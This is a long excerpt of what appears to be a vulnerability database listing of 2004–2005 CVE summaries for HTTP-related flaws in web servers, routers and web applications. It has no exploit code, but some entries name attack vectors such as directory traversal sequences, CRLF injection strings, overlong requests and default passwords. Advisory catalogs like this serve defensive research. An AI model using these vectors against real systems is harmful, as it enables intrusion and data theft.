20486| [CVE-2005-1087] CRLF injection vulnerability in the cmdIS.DLL plugin for AN HTTPD Server 1.42n allows remote attackers to spoof or hide entries in the logfile, and possibly read files using an injected type command, via CRLF sequences in an HTTP request.
20487| [CVE-2005-1086] Buffer overflow in the cmdIS.DLL plugin for AN HTTPD Server 1.42n allows remote attackers to execute arbitrary code via an HTTP request with a long User-Agent header.
20488| [CVE-2005-0986] NLSCCSTR.DLL in the web service in IBM Lotus Domino Server 6.5.1, 6.0.3, and possibly other versions allows remote attackers to cause a denial of service (deep recursion and nHTTP.exe process crash) via a long GET request containing UNICODE decimal value 430 characters, which causes the stack to be exhausted. NOTE: IBM has reported that it is unable to replicate this issue.
20489| [CVE-2005-0976] AppleWebKit (WebCore and WebKit), as used in multiple products such as Safari 1.2 and OmniGroup OmniWeb 5.1, allows remote attackers to read arbitrary files via the XMLHttpRequest Javascript component, as demonstrated using automatically mounted disk images and file:// URLs.
20490| [CVE-2005-0943] Cisco VPN 3000 series Concentrator running firmware 4.1.7.A and earlier allows remote attackers to cause a denial of service (device reload or drop user connection) via a crafted HTTPS packet.
20491| [CVE-2005-0915] Webmasters-Debutants WD Guestbook 2.8 allows remote attackers to bypass authentication and perform certain administrator actions via a direct HTTP POST request to (1) ajout_admin2.php or (2) suppr.php.
20492| [CVE-2005-0886] Cross-site scripting (XSS) vulnerability in Invision Power Board 2.0.2 and earlier allows remote attackers to inject arbitrary web script or HTML via an HTTP POST request.
20493| [CVE-2005-0875] Multiple buffer overflows in the Yahoo plug-in for Trillian 2.0, 3.0, and 3.1 allow remote web servers to cause a denial of service (application crash) via a long string in an HTTP 1.1 response header.
20494| [CVE-2005-0874] Multiple buffer overflows in the (1) AIM, (2) MSN, (3) RSS, and other plug-ins for Trillian 2.0 allow remote web servers to cause a denial of service (application crash) via a long string in an HTTP 1.1 response header.
20495| [CVE-2005-0865] Samsung ADSL Modem SMDK8947v1.2 uses default passwords for the (1) root, (2) admin, or (3) user users, which allows remote attackers to gain privileges via Telnet or an HTTP request to adsl.cgi.
20496| [CVE-2005-0864] The Boa web server, as used in Samsung ADSL Modem SMDK8947v1.2 and possibly other products, allows remote attackers to read arbitrary files via a full pathname in the HTTP request.
20497| [CVE-2005-0843] CRLF injection vulnerability in search.php in Phorum 5.0.14a allows remote attackers to perform HTTP Response Splitting attacks via the body parameter, which is included in the resulting Location header.
20498| [CVE-2005-0807] Multiple buffer overflows in Cain & Abel before 2.67 allow remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via (1) an IKE packet with a large ID field that is not properly handled by the PSK sniffer filter, (2) the HTTP sniffer filter, or the (3) POP3, (4) SMTP, (5) IMAP, (6) NNTP, or (7) TDS sniffer filters.
20499| [CVE-2005-0734] PY Software Active Webcam WebServer (webcam.exe) 5.5 allows remote attackers to cause a denial of service (memory exhaustion and process crash) via a large number of HTTP requests.
20500| [CVE-2005-0733] PY Software Active Webcam WebServer (webcam.exe) 5.5 allows remote attackers to determine the existence of files via an HTTP request with a full pathname, which produces different messages whether the file exists or not.
20501| [CVE-2005-0684] Multiple buffer overflows in the web tool for MySQL MaxDB before 7.5.00.26 allows remote attackers to execute arbitrary code via (1) an HTTP GET request with a long file parameter after a percent ("%") sign or (2) a long Lock-Token string to the WebDAV functionality, which is not properly handled by the getLockTokenHeader function in WDVHandler_CommonUtils.c.
20502| [CVE-2005-0674] Cross-site scripting (XSS) vulnerability in the News module for paBox 1.6 allows remote attackers to inject arbitrary web script or HTML via the text hidden parameter in an HTTP POST request.
20503| [CVE-2005-0668] Unknown vulnerability in HTTP Anti Virus Proxy (HAVP) before 0.51 prevents viruses from being properly detected in certain files such as (1) .CAB or (2) .ZIP files.
20504| [CVE-2005-0657] Directory traversal vulnerability in Computalynx CProxy 3.3.x and 3.4.x through 3.4.4 allows remote attackers to read arbitrary files or cause a denial of service (application crash) via a .. (dot dot) in an HTTP request.
20505| [CVE-2005-0655] auraCMS 1.5 allows remote attackers to obtain sensitive information via an HTTP request with an invalid id parameter to (1) teman.php, (2) hal.php, or (3) arsip.php, which reveals the path in a PHP error message.
20506| [CVE-2005-0645] Cross-site scripting (XSS) vulnerability in show.inc.php in cuteNews 1.3.6 allows remote attackers to inject arbitrary HTML, web script, and PHP code via the (1) CLIENT-IP or (2) X-FORWARDED-FOR header in an HTTP POST request to show_news.php.
20507| [CVE-2005-0623] Buffer overflow in RaidenHTTPD 1.1.32, and possibly other versions before 1.1.34, allows remote attackers to execute arbitrary code via a long URL.
20508| [CVE-2005-0622] RaidenHTTPD 1.1.32, and possibly other versions before 1.1.34, allows remote attackers to view the PHP source code via an HTTP GET request for a filename with a trailing (1) . (dot) or (2) space.
20509| [CVE-2005-0593] Firefox before 1.0.1 and Mozilla before 1.7.6 allows remote attackers to spoof the SSL "secure site" lock icon via (1) a web site that does not finish loading, which shows the lock of the previous site, (2) a non-HTTP server that uses SSL, which causes the lock to be displayed when the SSL handshake is completed, or (3) a URL that generates an HTTP 204 error, which updates the icon and location information but does not change the display of the original site.
20510| [CVE-2005-0584] Firefox before 1.0.1 and Mozilla before 1.7.6, when displaying the HTTP Authentication dialog, do not change the focus to the tab that generated the prompt, which could facilitate spoofing and phishing attacks.
20511| [CVE-2005-0575] Buffer overflow in Stormy Studios Knet 1.04c and earlier allows remote attackers to cause a denial of service and possibly execute arbitrary code via a long HTTP GET request.
20512| [CVE-2005-0507] Directory traversal vulnerability in SD Server 4.0.70 and earlier allows remote attackers to read arbitrary files via .. sequences in an HTTP request.
20513| [CVE-2005-0502] Directory traversal vulnerability in Xinkaa 1.0.3 and earlier allows remote attackers to read arbitrary files via (1) ../ and (2) ..\ characters in an HTTP request.
20514| [CVE-2005-0494] The RgSecurity form in the HTTP server for the Thomson TCW690 cable modem running firmware 2.1 and software ST42.03.0a does not properly validate the password before performing changes, which allows remote attackers on the LAN to gain access via a direct POST request.
20515| [CVE-2005-0490] Multiple stack-based buffer overflows in libcURL and cURL 7.12.1, and possibly other versions, allow remote malicious web servers to execute arbitrary code via base64 encoded replies that exceed the intended buffer lengths when decoded, which is not properly handled by (1) the Curl_input_ntlm function in http_ntlm.c during NTLM authentication or (2) the Curl_krb_kauth and krb4_auth functions in krb4.c during Kerberos authentication.
20516| [CVE-2005-0478] Multiple buffer overflows in TrackerCam 5.12 and earlier allow remote attackers to cause a denial of service and possibly execute arbitrary code via (1) an HTTP request with a long User-Agent header or (2) a long argument to an arbitrary PHP script.
20517| [CVE-2005-0453] The buffer_urldecode function in Lighttpd 1.3.7 and earlier does not properly handle control characters, which allows remote attackers to obtain the source code for CGI and FastCGI scripts via a URL with a %00 (null) character after the file extension.
20518| [CVE-2005-0451] Sami HTTP Server 1.0.5 allows remote attackers to cause a denial of service via an HTTP request containing two CRLF sequences, which triggers a NULL dereference.
20519| [CVE-2005-0450] Directory traversal vulnerability in Sami HTTP Server 1.0.5 allows remote attackers to read arbitrary files via an HTTP request containing (1) .. (dot dot) or (2) "%2e%2e" (encoded dot dot) sequences.
20520| [CVE-2005-0390] Buffer overflow in the HTTP redirection capability in conn.c for Axel before 1.0b may allow remote attackers to execute arbitrary code.
20521| [CVE-2005-0375] imageview.php in SGallery 1.01 allows remote attackers to obtain sensitive information via an HTTP request with (1) idalbum and (2) idimage unset, which reveals the installation path in an error message for the sql_fetch_row function.
20522| [CVE-2005-0341] Apple Safari 1.2.4 does not obey the Content-type field in the HTTP header and renders text as HTML, which allows remote attackers to inject arbitrary web script or HTML and perform cross-site scripting (XSS) attacks.
20523| [CVE-2005-0338] Buffer overflow in Savant Web Server 3.1 allows remote attackers to execute arbitrary code via a long HTTP request.
20524| [CVE-2005-0334] Linksys PSUS4 running firmware 6032 allows remote attackers to cause a denial of service (device crash) via an HTTP POST request containing an unknown parameter without a value.
20525| [CVE-2005-0324] Infinite Mobile Delivery Webmail 2.6 allows remote attackers to gain sensitive information via an HTTP request that contains invalid characters for a Windows foldername, which reveals the path in an error message.
20526| [CVE-2005-0321] MERAK Mail Server 7.6.0 with Icewarp Web Mail 5.3.0 allows remote authenticated users to gain sensitive information via an HTTP request to (1) calendar_d.html, (2) calendar_m.html, (3) calendar_w.html, or (4) calendar_y.html, which reveal the installation path.
20527| [CVE-2005-0310] Exponent 0.95 allows remote attackers to obtain sensitive information via a direct HTTP request to (1) search.info.php, (2) permissions.info.php, (3) security.info.php, (4) formcontrol.php, or (5) file_modules.php, which reveals the path in an error message because the pathos_core_version variable is undefined.
20528| [CVE-2005-0306] MercuryBoard 1.1.1 allows remote attackers to gain sensitive information via an HTTP request with the n parameter set to 0, which causes a divide-by-zero error and reveals the path in the resulting error message.
20529| [CVE-2005-0302] SQL injection vulnerability in default.asp in BackOffice Lite 6.0 and 6.01 allows remote attackers to execute arbitrary SQL commands via the referer field in the HTTP header.
20530| [CVE-2005-0294] minis.php in Minis 0.2.1 allows remote attackers to cause a denial of service (infinite loop) via an HTTP request for a file that the web server does not have permission to read, as demonstrated using the month parameter.
20531| [CVE-2005-0286] eMotion MediaPartner Web Server 5.0 and 5.1 allows remote attackers to obtain sensitive information via an HTTP request for a .bhtml file that contains a (1) . (dot) or (2) + (plus sign) at the end, which returns the source code for that file.
20532| [CVE-2005-0241] The httpProcessReplyHeader function in http.c for Squid 2.5-STABLE7 and earlier does not properly set the debug context when it is handling "oversized" HTTP reply headers, which might allow remote attackers to poison the cache or bypass access controls based on header size.
20533| [CVE-2005-0175] Squid 2.5 up to 2.5.STABLE7 allows remote attackers to poison the cache via an HTTP response splitting attack.
20534| [CVE-2005-0174] Squid 2.5 up to 2.5.STABLE7 allows remote attackers to poison the cache or conduct certain attacks via headers that do not follow the HTTP specification, including (1) multiple Content-Length headers, (2) carriage return (CR) characters that are not part of a CRLF pair, and (3) header names containing whitespace characters.
20535| [CVE-2005-0081] MySQL MaxDB 7.5.0.0, and other versions before 7.5.0.21, allows remote attackers to cause a denial of service (crash) via an HTTP request with invalid headers.
20536| [CVE-2005-0049] Windows SharePoint Services and SharePoint Team Services for Windows Server 2003 does not properly validate an HTTP redirection query, which allows remote attackers to inject arbitrary HTML and web script via a cross-site scripting (XSS) attack, or to spoof the web cache.
20537| [CVE-2004-2763] The default configuration of Sun ONE/iPlanet Web Server 4.1 SP1 through SP12 and 6.0 SP1 through SP5 responds to the HTTP TRACE request, which can allow remote attackers to steal information using cross-site tracing (XST) attacks in applications that are vulnerable to cross-site scripting.
20538| [CVE-2004-2762] The server in IBM Tivoli Storage Manager (TSM) 4.2.x on MVS, 5.1.9.x before 5.1.9.1, 5.1.x before 5.1.10, 5.2.2.x before 5.2.2.3, 5.2.x before 5.2.3, 5.3.x before 5.3.0, and 6.x before 6.1, when the HTTP communication method is enabled, allows remote attackers to cause a denial of service (daemon crash or hang) via unspecified HTTP traffic, as demonstrated by the IBM port scanner 1.3.1.
20539| [CVE-2004-2727] Buffer overflow in MEHTTPS (HTTPMail) of MailEnable Professional 1.5 through 1.7 allows remote attackers to cause a denial of service (application crash) via a long HTTP GET request.
20540| [CVE-2004-2726] HTTPMail service in MailEnable Professional 1.18 does not properly handle arguments to the Authorization header, which allows remote attackers to cause a denial of service (null dereference and application crash). NOTE: This is a different vulnerability than CVE-2005-1348.
20541| [CVE-2004-2707] Multiple unspecified vulnerabilities in Gyach Enhanced (Gyach-E) before 1.0.5 have unknown impact and attack vectors related to "several security flaws," probably related to buffer overflows in HTTP server responses.
20542| [CVE-2004-2628] Multiple directory traversal vulnerabilities in thttpd 2.07 beta 0.4, when running on Windows, allow remote attackers to read arbitrary files via a URL that contains (1) a hex-encoded backslash dot-dot sequence ("%5C..") or (2) a drive letter (such as "C:").
20543| [CVE-2004-2614] Buffer overflow in MyWeb 3.3 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP GET request.
20544| [CVE-2004-2589] Gaim before 0.82 allows remote servers to cause a denial of service (application crash) via a long HTTP Content-Length header, which causes Gaim to abort when attempting to allocate memory.
20545| [CVE-2004-2582] Novell iChain 2.3 includes the build number in the VIA line of the proxy server's HTTP headers, which allows remote attackers to obtain sensitive information.
20546| [CVE-2004-2549] Nortel Wireless LAN (WLAN) Access Point (AP) 2220, 2221, and 2225 allow remote attackers to cause a denial of service (service crash) via a TCP request with a large string, followed by 8 newline characters, to (1) the Telnet service on TCP port 23 and (2) the HTTP service on TCP port 80, possibly due to a buffer overflow.
20547| [CVE-2004-2547] NetWin (1) SurgeMail before 2.0c and (2) WebMail allow remote attackers to obtain sensitive information via HTTP requests that (a) specify the / URI, (b) specify the /scripts/ URI, or (c) specify a non-existent file, which reveal the path in an error message.
20548| [CVE-2004-2534] Fastream NETFile Server 7.1.2 does not properly handle keep-alive connection timeouts and does not close the connection after a HEAD request, which allows remote attackers to perform a denial of service (connection consumption) by sending a large number HTTP HEAD requests.
20549| [CVE-2004-2517] myServer 0.7.1 allows remote attackers to cause a denial of service (crash) via a long HTTP POST request in a View=Logon operation to index.html.
20550| [CVE-2004-2516] Directory traversal vulnerability in myServer 0.7 allows remote attackers to list arbitrary directories via an HTTP GET command with a large number of "./" sequences followed by "../" sequences.
20551| [CVE-2004-2512] CRLF injection vulnerability in calendar.php in DCP-Portal 5.3.2 and earlier allows remote attackers to conduct HTTP response splitting attacks to spoof web content and poison web caches via CRLF ("%0d%0a") sequences in the PHPSESSID parameter.
20552| [CVE-2004-2506] Unparsed web content delivery vulnerability in WIKINDX before 0.9.9g allows remote attackers to obtain sensitive information via a direct HTTP request to the config.inc file.
20553| [CVE-2004-2496] The HTTP daemon in OpenText FirstClass 7.1 and 8.0 allows remote attackers to cause a denial of service (service availability loss) via a large number of POST requests to /Search.
20554| [CVE-2004-2478] Unspecified vulnerability in Jetty HTTP Server, as used in (1) IBM Trading Partner Interchange before 4.2.4, (2) CA Unicenter Web Services Distributed Management (WSDM) before 3.11, and possibly other products, allows remote attackers to read arbitrary files via a .. (dot dot) in the URL.
20555| [CVE-2004-2443] Jaws 0.3 allows remote attackers to bypass authentication and via an HTTP request to admin.php with the logged cookie set to the MD5 hash of a null password, which is compared against the logged session variable by the logged_on function in application.php.
20556| [CVE-2004-2426] Directory traversal vulnerability in Axis Network Camera 2.40 and earlier, and Video Server 3.12 and earlier, allows remote attackers to bypass authentication via a .. (dot dot) in an HTTP POST request to ServerManager.srv, then use these privileges to conduct other activities, such as modifying files using editcgi.cgi.
20557| [CVE-2004-2424] BEA WebLogic Server and WebLogic Express 8.1 through 8.1 SP2 allow remote attackers to cause a denial of service (network port comsumption) via unknown actions in HTTPS sessions, which prevents the server from releasing the network port when the session ends.
20558| [CVE-2004-2416] Buffer overflow in the logging component of CCProxy allows remote attackers to execute arbitrary code via a long HTTP GET request.
20559| [CVE-2004-2385] EMU Webmail 5.2.7 allows remote attackers to obtain sensitive path information (home directory) via an HTTP request for init.emu.
20560| [CVE-2004-2381] HttpRequest.java in Jetty HTTP Server before 4.2.19 allows remote attackers to cause denial of service (memory usage and application crash) via HTTP requests with a large Content-Length.
20561| [CVE-2004-2343] ** DISPUTED ** Apache HTTP Server 2.0.47 and earlier allows local users to bypass .htaccess file restrictions, as specified in httpd.conf with directives such as Deny From All, by using an ErrorDocument directive. NOTE: the vendor has disputed this issue, since the .htaccess mechanism is only intended to restrict external web access, and a local user already has the privileges to perform the same operations without using ErrorDocument.
20562| [CVE-2004-2330] ColdFusion MX 6.1 and 6.1 J2EE allows remote attackers to cause a denial of service via an HTTP request containing a large number of form fields.
20563| [CVE-2004-2327] Vizer Web Server 1.9.1 allows remote attackers to cause a denial of service (crash) via multiple malformed requests including (1) requests without GET, (2) GET requests without HTTP, (3) or long GET requests.
20564| [CVE-2004-2320] The default configuration of BEA WebLogic Server and Express 8.1 SP2 and earlier, 7.0 SP4 and earlier, 6.1 through SP6, and 5.1 through SP13 responds to the HTTP TRACE request, which can allow remote attackers to steal information using cross-site tracing (XST) attacks in applications that are vulnerable to cross-site scripting.
20565| [CVE-2004-2317] Information leak in Mbedthis AppWeb HTTP server 1.0 through 1.1.2 allows remote attackers to obtain sensitive information via a user message that is generated when Mbedthis denies access.
20566| [CVE-2004-2316] Mbedthis AppWeb HTTP server before 1.0.2 allows remote attackers to cause a denial of service (crash) via a GET request containing an MS-DOS device name such as COM1.
20567| [CVE-2004-2315] Mbedthis AppWeb HTTP server before 1.0.2 allows remote attackers to cause a denial of service (crash) via an empty OPTIONS request.
20568| [CVE-2004-2299] Buffer overflow in Omnicron OmniHTTPd 3.0a and earlier allows remote attackers to execute arbitrary code via an HTTP GET request with a long Range header.
20569| [CVE-2004-2271] Buffer overflow in MiniShare 1.4.1 and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.
20570| [CVE-2004-2224] Appfoundry Message Foundry 2.75 .0003 allows remote attackers to cause a denial of service (crash) via an HTTP GET request that contains MS-DOS device names such as com1.
20571| [CVE-2004-2221] Buffer overflow in SoftCart.exe in Mercantec SoftCart 4.00b allows remote attackers to execute arbitrary code via a long parameter in an HTTP GET request.
20572| [CVE-2004-2217] Multiple unknown vulnerabilities in yhttpd in yChat before 0.7 allow remote attackers to cause a denial of service (segmentation fault) via unknown vectors.
20573| [CVE-2004-2214] Mbedthis AppWeb HTTP server before 1.1.3 allows remote attackers to bypass access restrictions via a URI with mixed case characters.
20574| [CVE-2004-2213] Mbedthis AppWeb HTTP server before 1.1.3 allows remote attackers to obtain the source code for scripts via a (1) trailing dot (".") or (2) trailing space in an HTTP request.
20575| [CVE-2004-2210] Multiple cross-site scripting (XSS) vulnerabilities in Express-Web Content Management System (CMS) allow remote attackers to steal cookie-based authentication information and possibly perform other exploits via the (1) n, (2) b, (3) e, or (4) a parameters to default.asp, (5) the Referer header in an HTTP request to login.asp, or (6) the email parameter to subscribe/default.asp.
20576| [CVE-2004-2208] CRLF injection vulnerability in Ideal Science IdealBB 1.4.9 through 1.5.3 allows remote attackers to conduct HTTP response splitting attacks via unknown vectors.
20577| [CVE-2004-2146] CRLF injection vulnerability in PD9 Software MegaBBS 2 and 2.1 allows attackers to conduct HTTP response splitting attacks via the fid parameter in a writenew action to thread-post.asp.
20578| [CVE-2004-2129] SurfNOW 2.2 allows remote attackers to cause a denial of service (crash) via a series of long HTTP GET requests, possibly triggering a buffer overflow.
20579| [CVE-2004-2124] The register_globals simulation capability in Gallery 1.3.1 through 1.4.1 allows remote attackers to modify the HTTP_POST_VARS variable and conduct a PHP remote file inclusion attack via the GALLERY_BASEDIR parameter, a different vulnerability than CVE-2002-1412.
20580| [CVE-2004-2120] Reptile Web Server allows remote attackers to cause a denial of service (CPU consumption) via multiple incomplete GET requests without the HTTP version.
20581| [CVE-2004-2117] Tiny Server 1.1 allows remote attackers to cause a denial of service (crash) via malformed HTTP requests such as (1) a GET request without the HTTP version (HTTP/1.1), or (2) a request without GET or the HTTP version.
20582| [CVE-2004-2115] Multiple cross-site scripting (XSS) vulnerabilities in Oracle HTTP Server 1.3.22, based on Apache, allow remote attackers to execute arbitrary script as other users via the (1) action, (2) username, or (3) password parameters in an isqlplus request.
20583| [CVE-2004-2107] Finjan SurfinGate 6.0 and 7.0, when running in proxy mode, does not authenticate FHTTP commands on TCP port 3141, which allows remote attackers to use the finjan-parameter-type header to (1) restart the service, (2) use the getlastmsg command to view log information, or (3) use the online command to force a policy update from the database server.
20584| [CVE-2004-2102] Cross-site scripting (XSS) vulnerability in FREESCO 2.05, a modified version of thttpd, allows remote attackers to inject arbitrary web script or HTML via the test parameter.
20585| [CVE-2004-2101] The sysinfo script in GeoHttpServer allows remote attackers to cause a denial of service (crash) via a long pwd parameter, possibly triggering a buffer overflow.
20586| [CVE-2004-2100] GeoHttpServer, when configured to authenticate users, allows remote attackers to bypass authentication and access unauthorized files via a URL that contains %0a%0a (encoded newlines).
20587| [CVE-2004-2096] Cross-site scripting (XSS) vulnerability in Mephistoles httpd 0.6.0 final allows remote attackers to execute arbitrary script as other users by injecting arbitrary HTML or script into the URL.
20588| [CVE-2004-2086] Stack-based buffer overflow in results.stm for Sambar Server before the 6.0 production release allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an HTTP POST request with a long query parameter.
20589| [CVE-2004-2071] Macallan Mail Solution 2.8.4.6 (Build 260), and possibly earlier versions, allows remote attackers to bypass authentication in the web interface via an HTTP GET request with two slashes ("//") after the server name.
20590| [CVE-2004-2061] RiSearch 1.0.01 and RiSearch Pro 3.2.06 allows remote attackers to use the show.pl script as an open proxy, or read arbitrary local files, by setting the url parameter to a (1) http://, (2) ftp://, or (3) file:// URL.
20591| [CVE-2004-2054] CRLF injection vulnerability in PhpBB 2.0.4 and 2.0.9 allows remote attackers to perform HTTP Response Splitting attacks to modify expected HTML content from the server via (1) the mode parameter to privmsg.php or (2) the redirect parameter to login.php.
20592| [CVE-2004-2045] The HTTP administration interface on Conceptronic CADSLR1 ADSL router running firmware 3.04n allows remote attackers to cause a denial of service (device reboot) via an HTTP request with a long username.
20593| [CVE-2004-2044] PHP-Nuke 7.3, and other products that use the PHP-Nuke codebase such as the Nuke Cops betaNC PHP-Nuke Bundle, OSCNukeLite 3.1, and OSC2Nuke 7x do not properly use the eregi() PHP function with $_SERVER['PHP_SELF'] to identify the calling script, which allows remote attackers to directly access scripts, obtain path information via a PHP error message, and possibly gain access, as demonstrated using an HTTP request that contains the "admin.php" string.
20594| [CVE-2004-2035] MiniShare 1.3.2 allows remote attackers to cause a denial of service (crash) via a malformed HTTP GET or HEAD request without the proper number of trailing CRLF sequences.
20595| [CVE-2004-2033] Orenosv 0.5.9f allows remote attackers to cause a denial of service (crash) via a long HTTP GET request.
20596| [CVE-2004-2029] The Util_DecodeHTTPAuth function in BNBT BitTorrent Tracker Beta 7.5 Release 2 and earlier allows remote attackers to cause a denial of service (crash) via a Basic Authorization HTTP request with a "A==" value.
20597| [CVE-2004-2016] Stack-based buffer overflow in the HTTP server in NetChat 7.3 and earlier allows remote attackers to execute arbitrary code via a long GET request.
20598| [CVE-2004-1991] Directory traversal vulnerability in Aldo's Web Server (aweb) 1.5 allows remote attackers to view arbitrary files via a .. (dot dot) in an HTTP GET request.
20599| [CVE-2004-1984] Coppermine Photo Gallery 1.2.2b and 1.2.0 RC4 allows remote attackers to obtain sensitive information via a direct HTTP request to (1) phpinfo.php, (2) addpic.php, (3) config.php, (4) db_input.php, (5) displayecard.php, (6) ecard.php, (7) crop.inc.php, which reveal the full path in a PHP error message.
20600| [CVE-2004-1973] DiGi Web Server allows remote attackers to cause a denial of service (CPU consumption) via an HTTP GET request that contains a large number of / (slash) characters, which consumes resources when DiGi converts the slashes to \ (backslash) characters.
20601| [CVE-2004-1971] modules.php in PHP-Nuke Video Gallery Module 0.1 Beta 5 allows remote attackers to gain sensitive information via an HTTP request with an invalid (1) catid or (2) clipid parameter, which reveals the full path in an error message.
20602| [CVE-2004-1956] PostNuke 0.7.2.6 allows remote attackers to gain information via a direct HTTP request to files in the (1) includes/blocks directory, (2) pnadodb directory, (3) NS-NewUser module, (4) NS-Your_Account, (5) NS-LostPassword module, or (6) NS-User module which reveals the path to the web server in a PHP error message.
20603| [CVE-2004-1953] phProfession 2.5 allows remote attackers to gain sensitive information via a direct HTTP request to upload.php, which reveals the path in a PHP error message.
20604| [CVE-2004-1950] phpBB 2.0.8a and earlier trusts the IP address that is in the X-Forwarded-For in the HTTP header, which allows remote attackers to spoof IP addresses.
20605| [CVE-2004-1893] Dreamweaver MX, when "Using Driver On Testing Server" or "Using DSN on Testing Server" is selected, uploads the mmhttpdb.asp script to the web site but does not require authentication, which allows remote attackers to obtain sensitive information and possibly execute arbitrary SQL commands via a direct request to mmhttpdb.asp.
20606| [CVE-2004-1887] Ada Image Server (ImgSvr) 0.4 allows remote attackers to view directories or download files via an HTTP request with a trailing %00 (null).
20607| [CVE-2004-1841] SQL injection vulnerability in MS Analysis module 2.0 for PHP-Nuke allows remote attackers to execute arbitrary SQL via the referer field in an HTTP request.
20608| [CVE-2004-1822] Multiple cross-site scripting (XSS) vulnerabilities in Phorum 3.1 through 5.0.3 beta allow remote attackers to inject arbitrary web script or HTML via the (1) HTTP_REFERER parameter to login.php, (2) HTTP_REFERER parameter to register.php, or (3) target parameter to profile.php.
20609| [CVE-2004-1814] Directory traversal vulnerability in VocalTec VGW4/8 Gateway 8.0 allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request, as demonstrated using home.asp.
20610| [CVE-2004-1813] VocalTec VGW4/8 Gateway 8.0 allows remote attackers to bypass authentication via an HTTP request to home.asp with a trailing slash (/).
20611| [CVE-2004-1811] The SSL HTTP Server in HP Web-enabled Management Software 5.0 through 5.92, with anonymous access enabled, allows remote attackers to compromise the trusted certificates by uploading their own certificates.
20612| [CVE-2004-1804] wMCam server 2.1.348 allows remote attackers to cause a denial of service (no new connections) via multiple malformed HTTP requests without the GET command.
20613| [CVE-2004-1784] Buffer overflow in the web server of Webcam Watchdog 3.63 allows remote attackers to execute arbitrary code via a long HTTP GET request.
20614| [CVE-2004-1749] Attack Mitigator IPS 5500 3.11.008, and possibly other versions, when configured in a one-armed routing configuration, allows remote attackers to cause a denial of service (CPU consumption) via a large number of HTTP requests.
20615| [CVE-2004-1744] Easy File Sharing (EFS) Webserver 1.25 allows remote attackers to cause a denial of service (CPU consumption or crash) via many large HTTP requests.
20616| [CVE-2004-1743] Easy File Sharing (EFS) Webserver 1.25 allows remote attackers to view arbitrary files via an HTTP request for the disk_c virtual folder.
20617| [CVE-2004-1736] Cacti 0.8.5a allows remote attackers to gain sensitive information via an HTTP request to (1) auth.php, (2) auth_login.php, (3) auth_changepassword.php, and possibly other php files, which reveal the installation path in a PHP error message.
20618| [CVE-2004-1729] Cross-site scripting (XSS) vulnerability in Nihuo Web Log Analyzer 1.6 allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header.
20619| [CVE-2004-1727] BadBlue 2.5 allows remote attackers to cause a denial of service (refuse HTTP connections) via a large number of connections from the same IP address.
20620| [CVE-2004-1723] The (1) updateuser.php and (2) forums_prune.php scripts in PHP-Fusion 4.00 allow remote attackers to obtain sensitive information via a direct HTTP request, which reveals the installation path in an error message.
20621| [CVE-2004-1721] The (1) function.php or (2) function.view.php scripts in Merak Mail Server 5.2.7 allow remote attackers to read arbitrary PHP files via a direct HTTP request to port 32000.
20622| [CVE-2004-1720] The (1) address.html and possibly (2) calendar.html pages in Merak Mail Server 5.2.7 allow remote attackers to gain sensitive information via an invalid HTTP request, which reveals the installation path. NOTE: it is unclear whether the calendar.html is an exposure, since the path is leaked in web logs that may only be available to the administrators, who would have access to the path through legitimate means.
20623| [CVE-2004-1706] The U.S. Robotics USR808054 wireless access point allows remote attackers to cause a denial of service (device crash) and possibly execute arbitrary code via an HTTP GET request with a long version string.
20624| [CVE-2004-1687] CRLF injection vulnerability in down.asp for Snitz Forums 2000 3.4.04 allows remote attackers to perform HTTP Response Splitting attacks to modify expected HTML content from the server via the location parameter.
20625| [CVE-2004-1680] application.cgi in the Pingtel Xpressa handset running firmware 2.1.11.24 allows remote authenticated users to cause a denial of service (VxWorks OS crash) via a long HTTP GET request, possibly triggering a buffer overflow.
20626| [CVE-2004-1672] attachment.html in Merak Mail Server 7.4.5 with Icewarp Web Mail 5.2.7 and possibly other versions allows remote attackers to view other users' attachments by specifying the username and message ID in an HTTP request.
20627| [CVE-2004-1662] YaBB SE 1.5.1 allows remote attackers to obtain sensitive information via a direct HTTP request to Admin.php, which reveals the full path in a PHP error message.
20628| [CVE-2004-1657] Cross-site scripting (XSS) vulnerability in the Activity and Events Viewer for Newtelligence DasBlog allows remote attackers to inject arbitrary web script or HTML via the (1) User Agent or (2) Referrer HTTP headers.
20629| [CVE-2004-1656] CRLF injection vulnerability in Comersus Shopping Cart 5.0991 allows remote attackers to perform HTTP Response Splitting attacks to modify expected HTML content from the server via the redirecturl parameter.
20630| [CVE-2004-1620] CRLF injection vulnerability in Serendipity before 0.7rc1 allows remote attackers to perform HTTP Response Splitting attacks to modify expected HTML content from the server via the url parameter in (1) index.php and (2) exit.php, or (3) the HTTP Referer field in comment.php.
20631| [CVE-2004-1609] SalesLogix 6.1 includes usernames, passwords, and other sensitive information in the headers of an HTTP response, which could allow remote attackers to gain access.
20632| [CVE-2004-1606] slxweb.dll in SalesLogix 6.1 allows remote attackers to cause a denial service (application crash) via an invalid HTTP request, which might also leak sensitive information in the ErrorLogMsg cookie.
20633| [CVE-2004-1596] The 3COM Wireless router 3CRADSL72 running Boot Code 1.3d allows remote attackers to gain sensitive information such as passwords and router settings via a direct HTTP request to app_sta.stm.
20634| [CVE-2004-1590] Clientexec allows remote attackers to gain sensitive information via an HTTP request to phpinfo.php, which calls the phpinfo function.
20635| [CVE-2004-1584] CRLF injection vulnerability in wp-login.php in WordPress 1.2 allows remote attackers to perform HTTP Response Splitting attacks to modify expected HTML content from the server via the text parameter.
20636| [CVE-2004-1579] index.php in CubeCart 2.0.1 allows remote attackers to gain sensitive information via an HTTP request with an invalid cat_id parameter, which reveals the full path in a PHP error message.
20637| [CVE-2004-1578] Cross-site scripting (XSS) vulnerability in index.php in Invision Power Board 2.0.0 allows remote attackers to execute arbitrary web script or HTML via the Referer field in the HTTP header.
20638| [CVE-2004-1572] AJ-Fork 167 does not restrict access to directories such as (1) data, (2) inc, (3) plugins, (4) skins, or (5) tools, which allows remote attackers to list files in those directories via a direct HTTP request.
20639| [CVE-2004-1565] list.php in w-Agora 4.1.6a allows remote attackers to reveal the full path via a crafted HTTP request, possibly involving a malformed id parameter.
20640| [CVE-2004-1564] CRLF injection vulnerability in subscribe_thread.php in w-Agora 4.1.6a allows remote attackers to perform HTTP Response Splitting attacks to modify expected HTML content from the server via the thread parameter.
